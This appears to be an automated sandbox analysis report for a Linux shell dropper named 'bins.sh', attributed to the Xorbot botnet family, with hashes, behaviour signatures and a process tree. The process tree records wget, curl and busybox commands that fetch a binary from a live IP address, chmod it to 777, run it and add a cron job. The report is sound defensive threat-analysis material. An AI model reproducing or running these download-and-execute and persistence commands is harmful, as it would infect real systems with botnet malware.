Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 22:42
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
efbcf30c8abd1e80a0dd54b19276ebf5
-
SHA1
6f341a5f8e20188054977b1993d671020cfcf8b7
-
SHA256
d1f0c8c0899eb6c4fb7602943cb2483daebfa5ec71a7e196cd01cca5beb0a597
-
SHA512
a1c6d5a9aa4331810201275dce569e5667f2ac12fc376ca47696c2dd078d8c17853f196dd13ed3ac8f4f7661680f35db02f2310433daf9753face3853446d1fa
-
SSDEEP
192:9jrrX8D8I1NlsogS68ApxXhrX8Dh1NlsoxK8Ax:FrrX8D8hS68ApxRrX8D5K8Ax
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1494 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN 1495 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Renames itself 1 IoCs
pid Process 1496 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.jZcvCw crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/1113/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/633/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1548/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/451/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/502/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/625/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1603/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1121/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1286/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1605/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1557/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/9/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/79/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1537/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/468/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1558/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1586/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/19/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/156/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1004/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/15/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/701/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1594/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/27/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/36/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1560/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1039/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1530/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1549/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/160/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1555/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1529/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/11/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/21/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1089/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/153/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/870/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1053/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1337/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1551/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/83/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/444/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/952/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1539/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/624/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1172/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1177/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1541/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1552/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/17/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/267/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/473/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1559/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1565/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/4/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1570/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1596/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/157/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1108/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1547/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1161/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1226/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/1519/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN File opened for reading /proc/449/cmdline KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN curl File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN busybox File opened for modification /tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1475
-
/bin/rm/bin/rm bins.sh2⤵PID:1476
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1477
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1492
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Writes file to tmp directory
PID:1493
-
-
/bin/chmodchmod 777 KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- File and Directory Permissions Modification
PID:1494
-
-
/tmp/KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN./KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1495 -
/bin/shsh -c "crontab -l"3⤵PID:1497
-
/usr/bin/crontabcrontab -l4⤵PID:1498
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1499
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1500
-
-
-
-
/bin/rmrm KhzBStAUrx0wfmgw7GWrfKcgcEuJOFFCeN2⤵PID:1510
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/dOtbrWXazEEYsjBP1c7S96qxrath5gZdo72⤵PID:1513
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD57866b3e98b46d1d815f741a042917ed3
SHA1f5b1627e044d63c13bc7aae4b5c8506b406d5a8e
SHA25623afe0ab1313f5864ea61cb68489216faaaae85c42565fd99495386de8900cb3
SHA5129c823fa64ea8b46224d28124f52bd1fd3feb6e6fd0c7b5aef304510e3d3ee923d1cd0cfea7833e4d8868df4254d46abae2d019971b175e56324dd2ae6939c17c